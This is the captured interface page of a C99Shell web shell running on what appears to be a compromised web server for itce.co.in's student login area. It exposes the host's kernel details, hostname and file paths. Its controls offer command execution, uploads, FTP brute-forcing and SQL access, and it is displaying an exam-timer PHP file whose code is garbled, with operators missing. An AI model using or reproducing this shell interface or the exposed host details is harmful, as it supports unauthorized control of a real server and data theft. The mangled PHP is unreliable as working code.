!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/studentlogin/   drwxr-xr-x
Free 30.76 GB of 49.93 GB (61.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     onedayexam2.php (989 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

// Set the duration of the exam in minutes (e.g., 60 for 1 hour)
$duration 60;

// Calculate the timestamp when the exam should end
$endTime $_SESSION['start_time'] + ($duration 60);

// Check if the exam time has already ended
if (time() >= $endTime) {
    
// Auto-submit the exam
    
submitExam();
} else {
    
// Calculate the remaining time in seconds
    
$remainingTime $endTime time();

    
// Calculate hours, minutes, and seconds
    
$hours floor($remainingTime 3600);
    
$minutes floor(($remainingTime 3600) / 60);
    
$seconds $remainingTime 60;

    
// Display the countdown timer
    
echo "Time remaining: " sprintf("%02d:%02d:%02d"$hours$minutes$seconds);
}

// Function to submit the exam (you can customize this as per your requirements)
function submitExam() {
    
// Add your code to submit the exam here

    // Redirect the user to the exam submission page
    
header("Location: submit_exam.php");
    exit();
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0017 ]--